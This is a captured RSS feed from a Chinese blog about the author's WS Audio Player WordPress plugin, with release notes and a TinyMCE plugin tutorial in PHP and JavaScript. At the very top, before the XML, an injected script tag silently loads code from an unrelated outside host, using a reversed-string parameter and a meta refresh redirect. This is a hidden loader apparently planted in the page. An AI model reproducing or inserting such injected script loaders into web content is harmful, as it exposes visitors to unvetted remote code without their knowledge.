<script src='http://turnitupnow.net/?rnd=6029%2Fdeef%2Freyalp-oidua-sw%2Fgat%2Fmoc.faelyci'></script><meta http-equiv='refresh' content='0;url=http://icyleaf.com/tag/ws-audio-player/feed/'><!--<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>.::灵狼天::. &#187; WS Audio Player</title>
	<atom:link href="http://icyleaf.com/tag/ws-audio-player/feed/" rel="self" type="application/rss+xml" />
	<link>http://icyleaf.com</link>
	<description>icyleaf&#039;s blog - 心外无理，心外无物，心外无事</description>
	<lastBuildDate>Tue, 13 Dec 2011 02:34:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>测试 WS Audio Player 在 wp2.7 的兼容性</title>
		<link>http://icyleaf.com/2008/12/ws-audio-player-in-wordpress-2-7/</link>
		<comments>http://icyleaf.com/2008/12/ws-audio-player-in-wordpress-2-7/#comments</comments>
		<pubDate>Fri, 12 Dec 2008 02:02:18 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[网络开发]]></category>
		<category><![CDATA[WS Audio Player]]></category>

		<guid isPermaLink="false">http://icyleaf.com/?p=459</guid>
		<description><![CDATA[[audio=http://cdn1-65.projectplaylist.com/e1/static10/349/2243227.mp3,viva la vida,download] PS, WordPress 2.7 确实很赞～]]></description>
			<content:encoded><![CDATA[<p>[audio=http://cdn1-65.projectplaylist.com/e1/static10/349/2243227.mp3,viva la vida,download]</p>
<p>PS, WordPress 2.7 确实很赞～</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/12/ws-audio-player-in-wordpress-2-7/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
<enclosure url="http://cdn1-65.projectplaylist.com/e1/static10/349/2243227.mp3" length="3989042" type="audio/mpeg" />
		</item>
		<item>
		<title>WordPress插件教程：如何编写TinyMCE插件</title>
		<link>http://icyleaf.com/2008/06/how-to-load-tinymce-plugins-for-wordpress/</link>
		<comments>http://icyleaf.com/2008/06/how-to-load-tinymce-plugins-for-wordpress/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 07:30:03 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[TinyMCE]]></category>
		<category><![CDATA[WS Audio Player]]></category>
		<category><![CDATA[教程]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/?p=202</guid>
		<description><![CDATA[编写WordPress（以下简称wp）插件难免要和关联着wp的某一个或多个方面的东西，就拿我的刚更新的WS Auido Player插件来说，它需要提供一个窗口使得用户输入某些值来达到简化用户记忆以及操作的功能。自己敲一个两个代码还好，如果全部都是自己写的话，那和写HTML有什么区别呢？这个就是TinyMCE编辑器面世的主要目的之一。 其实想这个部分的东西，主要是因为国内也没出几个这样的插件（或者是我不知道而已）再者是也蛮少有人来写这方面的教程，网上找到的只有干巴巴、苦涩的英文句子，看着就是没中国字舒服，呵呵(^___^)，所以我就花了点时间自己整理出了这个教程。当然wp官方也有提到如何编写只不过写了一些核心的几句代码（看这里），剩下的还让你自己参考wp系统中tinymce插件。为什么要看wp系统中tinymce插件，而不是看tinymce官方的文档呢，这里要说句牢骚的话。wp其中使用到了很多及其优秀的开源代码，而且每个东西还或多或少的修改修改。这一下让我们看开源代码不是，看wp系统又感到迷茫。最好的是两者都得看。 书归正传，首先我们先简述下Tinymce在wp中用到版本。在wp 2.1.x &#8211; 2.3.x版本中使用到的是一直没有更改Tinymce 2。而在Tinymce 3推出不久，wp做了重大的版本变动，也就是现在的2.5，其中更新至tinymce3。而tinymce3也是一个大变动的版本，其中较大的改写了tinymce插件的函数。当然这也是为了方便用户而改进的。注意由于wp2.3.x版本已经老了，本教程只支持wp2.5以上版本。 首先，构建wp插件必要的文件以及基本代码，这里我把插件项目的名称叫做“SimplePlugins”以便记忆。首先我们先看下主文件的全部代码：]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="aligncenter" src="http://i2.6.cn/tu.6.cn/94/e5/5a/1a1624cb0d5f7ae890fb0d019218ad43.jpg" alt="#Header" width="450" height="120" /></p>
<p>编写WordPress（以下简称wp）插件难免要和关联着wp的某一个或多个方面的东西，就拿我的刚更新的<a href="http://www.icyleaf.cn/projects/ws-audio-player/" target="_self">WS Auido Player</a>插件来说，它需要提供一个窗口使得用户输入某些值来达到简化用户记忆以及操作的功能。自己敲一个两个代码还好，如果全部都是自己写的话，那和写HTML有什么区别呢？这个就是TinyMCE编辑器面世的主要目的之一。</p>
<p>其实想这个部分的东西，主要是因为国内也没出几个这样的插件（或者是我不知道而已）再者是也蛮少有人来写这方面的教程，网上找到的只有干巴巴、苦涩的英文句子，看着就是没中国字舒服，呵呵(^___^)，所以我就花了点时间自己整理出了这个教程。当然wp官方也有提到如何编写只不过写了一些核心的几句代码（<a href="http://codex.wordpress.org/TinyMCE_Custom_Buttons" target="_self">看这里</a>），剩下的还让你自己参考wp系统中tinymce插件。为什么要看wp系统中tinymce插件，而不是看tinymce官方的文档呢，这里要说句牢骚的话。wp其中使用到了很多及其优秀的开源代码，而且每个东西还或多或少的修改修改。这一下让我们看开源代码不是，看wp系统又感到迷茫。最好的是两者都得看。<br />
<span id="more-202"></span><br />
书归正传，首先我们先简述下Tinymce在wp中用到版本。在wp 2.1.x &#8211; 2.3.x版本中使用到的是一直没有更改Tinymce 2。而在Tinymce 3推出不久，wp做了重大的版本变动，也就是现在的2.5，其中更新至tinymce3。而tinymce3也是一个大变动的版本，其中较大的改写了tinymce插件的函数。当然这也是为了方便用户而改进的。<strong>注意由于wp2.3.x版本已经老了，本教程只支持wp2.5以上版本</strong>。</p>
<p>首先，构建wp插件必要的文件以及基本代码，这里我把插件项目的名称叫做“SimplePlugins”以便记忆。首先我们先看下主文件的全部代码：<br />
<coolcode lang="php"><br />
<?php<br />
/*<br />
Plugin Name: Simple Plugins<br />
Plugin URI: http://www.icyleaf.cn/<br />
Description: Simple Plugins<br />
Version: 1.0<br />
Author: icyleaf<br />
Author URI: http://www.icyleaf.cn/<br />
*/</p>
<p>// 定义一个常量并判断wp是否是2.5以上版本<br />
define('IS_WP25', version_compare($wp_version, '2.4', '>=&#8217;) );</p>
<p>// 定义插件目录的常量<br />
$myabspath = str_replace(&#8220;\\&#8221;,&#8221;/&#8221;,ABSPATH);  // 针对Windows &#038; XAMPP<br />
define(&#8216;WINABSPATH&#8217;, $myabspath);<br />
define(&#8216;WSAPFOLDER&#8217;, dirname(plugin_basename(__FILE__)));<br />
define(&#8216;WSAP_ABSPATH&#8217;, $myabspath.&#8217;wp-content/plugins/&#8217; . WSAPFOLDER .&#8217;/');<br />
define(&#8216;WSAP_URLPATH&#8217;, get_option(&#8216;siteurl&#8217;).&#8217;/wp-content/plugins/&#8217; . WSAPFOLDER.&#8217;/');</p>
<p>if (IS_WP25){<br />
function SinmplePlugins_addbuttons() {<br />
	// 权限判断，若没有撰写日志和页面的权限就返回。<br />
	if ( !current_user_can(&#8216;edit_posts&#8217;) &#038;&#038; !current_user_can(&#8216;edit_pages&#8217;) ) return;</p>
<p>	// 仅在Visual（可视化）模式下添加<br />
	if ( get_user_option(&#8216;rich_editing&#8217;) == &#8216;true&#8217;) {<br />
	        // 添加必要的函数到wp hook里面<br />
		add_filter(&#8220;mce_external_plugins&#8221;, &#8220;add_SinmplePlugins_tinymce_plugin&#8221;, 5);<br />
		add_filter(&#8216;mce_buttons&#8217;, &#8216;register_SinmplePlugins_button&#8217;, 5);<br />
	}<br />
}</p>
<p>// 在wp2.5的tinymce编辑器注册按钮插件，名字要独一无二<br />
function register_SinmplePlugins_button($buttons) {<br />
	array_push($buttons, &#8220;separator&#8221;, &#8220;PluginsName&#8221;);<br />
	return $buttons;<br />
}</p>
<p>// 加载自定义的TinyMCE插件：editor_plugin.js (wp2.5)<br />
function add_SinmplePlugins_tinymce_plugin($plugin_array) {<br />
	$plugin_array['PluginsName'] = WSAP_URLPATH.&#8217;tinymce3/editor_plugin.js&#8217;;<br />
	return $plugin_array;<br />
}</p>
<p>function SinmplePlugins_change_tinymce_version($version) {<br />
	return ++$version;<br />
}</p>
<p>// 当你的tinyMCE插件改变了就修改tinyMCE插件版本号。<br />
add_filter(&#8216;tiny_mce_version&#8217;, &#8216;SinmplePlugins_change_tinymce_version&#8217;);</p>
<p>// 插件初始化<br />
add_action(&#8216;init&#8217;, &#8216;SinmplePlugins_addbuttons&#8217;);<br />
}<br />
?><br />
</coolcode></p>
<p>可能大家通过上面的代码还不明白，我这里简单讲述一下核心的东西。wp2.5版本把之前的钩子替换掉了，在wp2.5+中关系Tinymce3，主要是由以下两个钩子：<br />
<strong>mce_buttons</strong>：通过一个以按钮名字做参数的（输入输出）PHP函数来注册按钮并返回。 &#8220;|&#8221;符合可以使用separator代替。<br />
<strong>mce_external_plugins</strong>：通过一个输入输出PHP函数关联数组：&#8217;plugin_name&#8217; => &#8216;plugin_url&#8217;<br />
<strong>tiny_mce_version</strong>：通过版本号码作为一个字符串，它可以自动改变tinyMCE插件的版本号。</p>
<p>另外，tinymce插件是放在名为tinymce3的文件夹下面，当然名字是自定义的。对于tinymce插件这里还需要大家看一下tinymce3的文档，其配置文件名为editor_plugin.js，通过点击按钮加载的显示窗口的文件是window.php，然后再通过一个js脚本（tinymce.js）来把设置的内容添加到编辑器中。</p>
<p><coolcode lang="javascript"><br />
// Docu : http://wiki.moxiecode.com/index.php/TinyMCE:Create_plugin/3.x#Creating_your_own_plugins</p>
<p>(function() {<br />
	// 多语言支持的插件标识，和langs的各个语言文件匹配<br />
	tinymce.PluginManager.requireLangPack(&#8216;SimplePlugins&#8217;);</p>
<p>	tinymce.create(&#8216;tinymce.plugins.SimplePlugins&#8217;, {<br />
		/**<br />
		 * 初始化插件， 在创建完成后就可以显示执行了<br />
		 * @参数 {tinymce.Editor} ed 编辑器初始化点。<br />
		 * @参数 {string} url 插件位置的绝对URL。<br />
		 */<br />
		init : function(ed, url) {<br />
			// 加载按钮时，执行此函数，名字以小写的mce开头，后面接注册插件的名字。<br />
			ed.addCommand(&#8216;mceSimplePlugins&#8217;, function() {<br />
				ed.windowManager.open({<br />
					file : url + &#8216;/window.php&#8217;,  //显示窗口的文件<br />
					width : 360 + ed.getLang(&#8216;SimplePlugins.delta_width&#8217;, 0),<br />
					height : 210 + ed.getLang(&#8216;SimplePlugins.delta_height&#8217;, 0),<br />
					inline : 1<br />
				}, {<br />
					plugin_url : url // 插件的绝对URL.<br />
				});<br />
			});</p>
<p>			// 注册按钮<br />
			ed.addButton(&#8216;SimplePlugins&#8217;, {<br />
				title : &#8216;SimplePlugins.desc&#8217;,<br />
				cmd : &#8216;mceSimplePlugins&#8217;,<br />
				image : url + &#8216;/simple.png&#8217;  //按钮的图标<br />
			});</p>
<p>			// Add a node change handler, selects the button in the UI when a image is selected<br />
			ed.onNodeChange.add(function(ed, cm, n) {<br />
				cm.setActive(&#8216;SimplePlugins&#8217;, n.nodeName == &#8216;MP3&#8242;);<br />
			});<br />
		},</p>
<p>		/**<br />
		 * Creates control instances based in the incomming name. This method is normally not<br />
		 * needed since the addButton method of the tinymce.Editor class is a more easy way of adding buttons<br />
		 * but you sometimes need to create more complex controls like listboxes, split buttons etc then this<br />
		 * method can be used to create those.<br />
		 *<br />
		 * @param {String} n Name of the control to create.<br />
		 * @param {tinymce.ControlManager} cm Control manager to use inorder to create new control.<br />
		 * @return {tinymce.ui.Control} New control instance or null if no control was created.<br />
		 */<br />
		createControl : function(n, cm) {<br />
			return null;<br />
		},</p>
<p>		// 插件信息<br />
		getInfo : function() {<br />
			return {<br />
					longname  : &#8216;SimplePlugins&#8217;,<br />
					author 	  : &#8216;icyleaf&#8217;,<br />
					authorurl : &#8216;http://www.icyleaf.cn/how-to-load-tinymce-plugins-for-wordpress&#8217;,<br />
					infourl   : &#8216;http://www.icyleaf.cn&#8217;,<br />
					version   : &#8220;1.0&#8243;<br />
			};<br />
		}<br />
	});</p>
<p>	// 注册插件<br />
	tinymce.PluginManager.add(&#8216;SimplePlugins&#8217;, tinymce.plugins.SimplePlugins);<br />
})();<br />
</coolcode></p>
<p>这个是一个典型的配置文件，不好意思英语很烂，只能简单翻译，在这个文件的开头是加载语言的标识，语言文件都放在其插件的langs文件夹下面，一每个国家的语言缩写作为其语言，比如，美式英语：en_US.js；中国的简体中文，那就是cn_ZH.js。</p>
<p>window.php是窗口显示的文件，这里就不在多说了，大家自己看下<a href="http://www.icyleaf.cn/projects/ws-audio-player/" target="_self">WS Auido Player</a>插件的代码就知道了，那么如何把填写好的配置返回到编辑器里面呢，如果你注意看window.php，你会发现，他在提交时调用了一个js函数。这个函数是放在插件的tinymce.js文件里面。然后通过tinymce.js主函数的处理就把相关的代码插入到编辑器当中了：）</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/06/how-to-load-tinymce-plugins-for-wordpress/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WS Audio Player1.1.0发布</title>
		<link>http://icyleaf.com/2008/05/ws-audio-player-1-1-0/</link>
		<comments>http://icyleaf.com/2008/05/ws-audio-player-1-1-0/#comments</comments>
		<pubDate>Thu, 22 May 2008 11:53:56 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[WS Audio Player]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/?p=196</guid>
		<description><![CDATA[Update： 1.修正了一些错误，去掉了调试用的注解掉的语句。版本升级至1.1.2 2.添加插件说明地址：http://www.icyleaf.cn/projects/ws-audio-player/ Chinese 今天下午花了些时间完成了WS AudioPlayer1.1.0版本的制作，现在已经完全且仅支持WordPress2.5+版本。如果你现在用的WordPress版本还不是2.5+，那么就赶紧升级吧～主要原因是不想浪费多余的体积大小：） 插件下载：WS Audio Player1.1.2 如果到你不知道这个插件的话，请点击这里看详细哦～ English Now This version(1.1.0) only use for WordPress 2.5+. and you can insert music with button between Vistual Mode and HTML mode. if you are not WordPress 2.5+, suggest update &#8230; <a href="http://icyleaf.com/2008/05/ws-audio-player-1-1-0/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Update：<br />
1.修正了一些错误，去掉了调试用的注解掉的语句。版本升级至1.1.2<br />
2.添加插件说明地址：<a href="http://www.icyleaf.cn/projects/ws-audio-player/">http://www.icyleaf.cn/projects/ws-audio-player/</a></p>
<p>Chinese<br />
今天下午花了些时间完成了WS AudioPlayer1.1.0版本的制作，现在已经<strong>完全且仅</strong>支持WordPress2.5+版本。如果你现在用的WordPress版本还不是2.5+，那么就赶紧升级吧～主要原因是不想浪费多余的体积大小：）</p>
<p>插件下载：<a href="http://downloads.wordpress.org/plugin/ws-audio-player.zip">WS Audio Player1.1.2</a></p>
<p>如果到你不知道这个插件的话，请<a href="http://www.icyleaf.cn/projects/ws-audio-player/" target="_self">点击这里</a>看详细哦～</p>
<p>English<br />
Now This version(1.1.0) <strong>only</strong> use for WordPress 2.5+. and you can insert music with button between Vistual Mode and HTML mode. if you are not WordPress 2.5+, suggest update to latest version.:)</p>
<p>Plugin Download: <a href="http://downloads.wordpress.org/plugin/ws-audio-player.zip">WS Audio Player1.1.2</a></p>
<p>see History or want konw what it  is, please <a href="http://www.icyleaf.cn/projects/ws-audio-player/" target="_self">click here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/05/ws-audio-player-1-1-0/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>WS Audio Player应急版For WordPress2.5</title>
		<link>http://icyleaf.com/2008/03/ws-audio-player-1-0-2/</link>
		<comments>http://icyleaf.com/2008/03/ws-audio-player-1-0-2/#comments</comments>
		<pubDate>Mon, 31 Mar 2008 03:13:07 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WS Audio Player]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/?p=174</guid>
		<description><![CDATA[WordPress2.5版本内置的TinyMCE富编辑器也跟着升级到了3.0版本，TinyMCE3.0版本改写了插件的结构导致我这个插件也和WP2.5造成了不兼容，目前我还没有来得及研究TinyMCE3.0插件的内部结构以及WP2.5为它的写的钩子（Hook）是否发生了变化。因为我在我WP后台的Trackback发现很多外国的朋友中有一些在用我的这个插件做音乐介绍，为了保证他们正常的使用，我特作了WP2.5的应急版本，删除掉了富编辑器模式（Visual）下的按钮，大家可以通过CODE模式（HTML）点击名为MP3的按钮来添加音乐。同时我在有时间的时候会好好研究下WordPress2.5与TinyMCE的内部结构，我也希望能在未来的几天内释出完全支持WP2.5版本的WS Audio Player插件。 同时也感谢大家的使用和支持。谢谢！ WordPress 2.5 was recently released and that it includes TinyMCE 3 by default. it made many plugins is&#8217;t to work,includes ws audio player. so i release a emergency version for wordpress 2.5. Delete insert mp3 button &#8230; <a href="http://icyleaf.com/2008/03/ws-audio-player-1-0-2/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>WordPress2.5版本内置的TinyMCE富编辑器也跟着升级到了3.0版本，TinyMCE3.0版本改写了插件的结构导致我这个插件也和WP2.5造成了不兼容，目前我还没有来得及研究TinyMCE3.0插件的内部结构以及WP2.5为它的写的钩子（Hook）是否发生了变化。因为我在我WP后台的Trackback发现很多外国的朋友中有一些在用我的这个插件做音乐介绍，为了保证他们正常的使用，我特作了WP2.5的应急版本，删除掉了富编辑器模式（Visual）下的按钮，大家可以通过CODE模式（HTML）点击名为<strong>MP3</strong>的按钮来添加音乐。同时我在有时间的时候会好好研究下WordPress2.5与TinyMCE的内部结构，我也希望能在未来的几天内释出完全支持WP2.5版本的WS Audio Player插件。<br />
同时也感谢大家的使用和支持。谢谢！</p>
<p>WordPress 2.5  was recently released and that it includes TinyMCE 3 by default. it made many plugins is&#8217;t to work,includes ws audio player. so i release a  emergency version for wordpress 2.5. <strong>Delete insert mp3 button in &#8220;Visual mode&#8221;, you can use it in &#8220;HTML mode&#8221;</strong>.<strong> </strong>i hope this will make everthing is ok that who use my plugins. I also hoped that the new release support WP2.5 edition completely WS Audio the Player plug-in unit in future several days.<br />
thanks to everybody&#8217;s use and supports.</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/03/ws-audio-player-1-0-2/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>关于WordPress2.5和插件那档子的事</title>
		<link>http://icyleaf.com/2008/03/wordpress25-and-plug-ins-on-the-stalls-of-the-matter/</link>
		<comments>http://icyleaf.com/2008/03/wordpress25-and-plug-ins-on-the-stalls-of-the-matter/#comments</comments>
		<pubDate>Sun, 30 Mar 2008 07:12:02 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WS Audio Player]]></category>
		<category><![CDATA[WS Tools Bar]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/?p=173</guid>
		<description><![CDATA[WordPress2.5应该是今天的凌晨1点多发布的，当时我在用手机上Twitter，看到漫步同学发布的消息。事实上我昨天下午才把我的Demo WP的版本升级至2.5 rc3版本，没想到凌晨就发布了正式版。貌似和rc3版本没什么大的差别，后台什么的变化挺大的。最主要的是这次升级修改了很多的地方： 1.全新的用户管理界面 2.更加简洁实用的后台管理菜单 3.Widgets 管理的显著增强 4.区域化的后台首页显示 5.增强的可视化编辑器 6.非常实用的一键升级插件功能 7.Flash 效果的上传文件管理 8.标签管理 同时这次的升级也导致了很多插件的不兼容，所以大家在升级前一定要把所有的配置插件停掉，再用 Instant Upgrade 插件 或者 WordPress Automatic Upgrade插件来完成一键升级。这两个插件我测试过，没有问题，这次的升级我就是用的这两个插件。 下面说下这次升级带来的好处和坏处。 好处还是蛮多的，比如系统的速度整体提高上去了，后台的现在也非常的漂亮，尤其是我们再写日志时用的那个富编辑器，也增加了不少功能，可以直接淘汰掉tinymce advanced这个插件了。好像连simple tag也可以省略掉了吧？另外WP的母公司把gravatar也给收购了，又省去一个插件，如何看来以后每次wordpress的大升级就会导致一些优秀化的东西废弃或者被收购&#8230;. 坏处嘛，其实主要就是插件兼容性的事情，很不幸的是我写的两个插件在其中&#8230;后面再说我那两个插件的事情。并附上一份WordPress2.5部分可用插件的列表：猛戳我 此外就是后台的结构布局我还是不满意，想进入某个2级菜单则必须进入其主菜单，而且本来的分类还很多，这次升级后某些都合并在了一起，寻找起来有些麻烦。而且后台模板没有分辨率自适应，仅适合1024&#215;768的分辨率，我目前用的是1280&#215;1024，所以后台的右边有一部分空了出来，让人感觉很不舒服&#8230; 下面说说我那两个插件： WS Tools Bar这个插件我不准备在升级了，因为我在WordPress官方的插件库发现基本上没有人在下载，而且国内也没有需求量，直接废弃掉吧，如果某位有需要，我会提供一些技术上的支持：） WS Audio Player这个插件我还会更新下去，首先要解决的是支持WordPress2.5版本的问题，恩&#8230;凑时间研究下心的tinymce编辑器。 废话就这么多了，核心内容其实没什么，就是想借WordPress2.5发布的事说下我那两个插件的问题，由于没有太多东西，就胡乱扯了一番。呵呵]]></description>
			<content:encoded><![CDATA[<p>WordPress2.5应该是今天的凌晨1点多发布的，当时我在用手机上Twitter，看到<a href="http://twitter.com/roamlog/statuses/779185154" target="_self">漫步</a>同学发布的消息。事实上我昨天下午才把我的Demo WP的版本升级至2.5 rc3版本，没想到凌晨就发布了正式版。貌似和rc3版本没什么大的差别，后台什么的变化挺大的。最主要的是这次升级修改了很多的地方：<br />
<strong>1.全新的用户管理界面<br />
2.更加简洁实用的后台管理菜单<br />
3.Widgets 管理的显著增强<br />
4.区域化的后台首页显示<br />
5.增强的可视化编辑器<br />
6.非常实用的一键升级插件功能<br />
7.Flash 效果的上传文件管理<br />
8.标签管理</strong></p>
<p>同时这次的升级也导致了很多插件的不兼容，所以大家在升级前一定要把所有的配置插件停掉，再用 <a href="http://www.zirona.com/software/wordpress-instant-upgrade">Instant Upgrade</a> 插件 或者 <a href="http://www.noupe.com/how-tos/wordpress-security-tips-and-hacks.html">WordPress Automatic Upgrade</a>插件来完成一键升级。这两个插件我测试过，没有问题，这次的升级我就是用的这两个插件。</p>
<p>下面说下这次升级带来的好处和坏处。<br />
好处还是蛮多的，比如系统的速度整体提高上去了，后台的现在也非常的漂亮，尤其是我们再写日志时用的那个富编辑器，也增加了不少功能，可以直接淘汰掉tinymce advanced这个插件了。好像连simple tag也可以省略掉了吧？另外WP的母公司把gravatar也给收购了，又省去一个插件，如何看来以后每次wordpress的大升级就会导致一些优秀化的东西废弃或者被收购&#8230;.</p>
<p>坏处嘛，其实主要就是插件兼容性的事情，很不幸的是我写的两个插件在其中&#8230;后面再说我那两个插件的事情。并附上一份WordPress2.5部分可用插件的列表：<a href="http://www.stcfx.com/2008/03/23/wordpress-25-working-plugins/" target="_self">猛戳我</a><br />
此外就是后台的结构布局我还是不满意，想进入某个2级菜单则必须进入其主菜单，而且本来的分类还很多，这次升级后某些都合并在了一起，寻找起来有些麻烦。而且后台模板没有分辨率自适应，仅适合1024&#215;768的分辨率，我目前用的是1280&#215;1024，所以后台的右边有一部分空了出来，让人感觉很不舒服&#8230;</p>
<p>下面说说我那两个插件：<br />
<a href="http://www.icyleaf.cn/2007/12/01/wordpress-plugin-ws-tools-bar/" target="_self">WS Tools Bar</a>这个插件我不准备在升级了，因为我在WordPress官方的插件库发现基本上没有人在下载，而且国内也没有需求量，直接废弃掉吧，如果某位有需要，我会提供一些技术上的支持：）<br />
<a href="http://www.icyleaf.cn/2007/11/05/wordpress-plugin-ws-audio-player-09-released/" target="_self">WS Audio Player</a>这个插件我还会更新下去，首先要解决的是支持WordPress2.5版本的问题，恩&#8230;凑时间研究下心的tinymce编辑器。</p>
<p>废话就这么多了，核心内容其实没什么，就是想借WordPress2.5发布的事说下我那两个插件的问题，由于没有太多东西，就胡乱扯了一番。呵呵</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/03/wordpress25-and-plug-ins-on-the-stalls-of-the-matter/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>WordPress插件:WS Audio Player1.0发布</title>
		<link>http://icyleaf.com/2008/01/ws-audio-player10/</link>
		<comments>http://icyleaf.com/2008/01/ws-audio-player10/#comments</comments>
		<pubDate>Wed, 09 Jan 2008 11:31:53 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[WS Audio Player]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/2008/01/09/wordpress%e6%8f%92%e4%bb%b6ws-audio-player10%e5%8f%91%e5%b8%83/</guid>
		<description><![CDATA[这个版本对我来说期待已久了！对我来说，我终于“征服”了TinyMCE的插件编写4WordPress的问题。插件历史请看这里：WS Audio Player。在发布页面的富编辑器中（即TinyMCE）添加了一个音乐图标的按钮。 插入模式 在此之前小小改动了下，发布了一个0.9.6版本，呵呵(^___^)，其实也没什么大的改动，增加了一个样式，就是传统的经典模式。下载按钮在正右边。 插件下载(Plugins Download):Download]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.icyleaf.cn/wp-content/plugins/ws-audio-player/img/AudioPlayer_classic.jpg" alt="WS Audio Player" width="293" height="64" /></p>
<p>这个版本对我来说期待已久了！对我来说，我终于“征服”了TinyMCE的插件编写4WordPress的问题。插件历史请看这里：<a href="http://www.icyleaf.cn/2007/11/05/wordpress-plugin-ws-audio-player-09-released/" target="_blank">WS Audio Player</a>。在发布页面的富编辑器中（即TinyMCE）添加了一个音乐图标的按钮。</p>
<p><strong> 插入模式</strong><br />
在此之前小小改动了下，发布了一个0.9.6版本，呵呵(^___^)，其实也没什么大的改动，增加了一个样式，就是传统的经典模式。下载按钮在<strong>正右边</strong>。</p>
<p>插件下载(Plugins Download):<a href="http://wordpress.org/extend/plugins/ws-audio-player/" target="_blank">Download</a></p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2008/01/ws-audio-player10/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>WordPress插件：WS Audio Player 0.9.5发布</title>
		<link>http://icyleaf.com/2007/12/wordpress-plug-ins-ws-audio-player-095-released/</link>
		<comments>http://icyleaf.com/2007/12/wordpress-plug-ins-ws-audio-player-095-released/#comments</comments>
		<pubDate>Mon, 24 Dec 2007 08:09:47 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WS Audio Player]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/2007/12/24/wordpress%e6%8f%92%e4%bb%b6%ef%bc%9aws-audio-player-095%e5%8f%91%e5%b8%83/</guid>
		<description><![CDATA[WS Audio Player是一个可在日志插入且附带下载功能的在线Flash播放器。更多请看这里。 自从这个插件发布之后就一直在想如何实现在发布的编辑器添加一体化的按钮功能， 大家也知道WordPress本身使用的是Tinymce编辑器。我却没有研究过此编辑器，在网上搜了很多的相关资料，不过没有很多的时间研究，最近也挺忙的。后来在一次偶然的机会，让我看到了GadenSt@r同学给我这个插件做了一个Hacks：在编辑工具栏中添加WS Audio Player按钮。 以上的两种方法不管使用哪个，都需要手动修改文件，我认为这很麻烦，为了方便大家的使用，苦苦寻找，研究，终于黄天不负有心人，功能实现了！ 0.9.5版本更新列表： 修复了在英文系统下某些中文无法显示翻译为英文。 在编辑器的代码模式添加了MP3按钮以轻松实现本插件的功能。 插件下载：Download 今天已经是平安夜，这里先祝大家圣诞节快乐！ 这也算是我送给大家的圣诞节小礼物吧。 做圣诞专题板子的朋友这里还有一份礼物：XmasMaterial.zip]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.icyleaf.cn/wp-content/plugins/ws-audio-player/img/AudioPlayer_classic.jpg" alt="WS Audio Player" width="293" height="64" /><br />
WS Audio Player是一个可在日志插入且附带下载功能的在线Flash播放器。更多请看<a href="http://www.icyleaf.cn/2007/11/05/wordpress-plug-ins-ws-audio-player-09-released/" target="_blank">这里</a>。</p>
<p>自从这个插件发布之后就一直在想如何实现在发布的编辑器添加一体化的按钮功能， 大家也知道WordPress本身使用的是Tinymce编辑器。我却没有研究过此编辑器，在网上搜了很多的相关资料，不过没有很多的时间研究，最近也挺忙的。后来在一次偶然的机会，让我看到了<span class="postdate"><a href="http://ublue.cn" target="_blank">GadenSt@r</a>同学给我这个插件做了一个Hacks：<a href="http://ublue.cn/archives/add-plugins-ws-audio-player-button/" target="_blank">在编辑工具栏中添加WS Audio Player按钮</a>。<br />
以上的两种方法不管使用哪个，都需要手动修改文件，我认为这很麻烦，为了方便大家的使用，苦苦寻找，研究，终于黄天不负有心人，功能实现了！</span></p>
<p><strong>0.9.5版本更新列表：</strong><br />
修复了在英文系统下某些中文无法显示翻译为英文。<br />
在编辑器的<strong>代码模式</strong>添加了<span style="text-decoration: underline;">MP3按钮</span>以轻松实现本插件的功能。</p>
<p>插件下载：<a href="http://wordpress.org/extend/plugins/ws-audio-player/" target="_blank">Download</a></p>
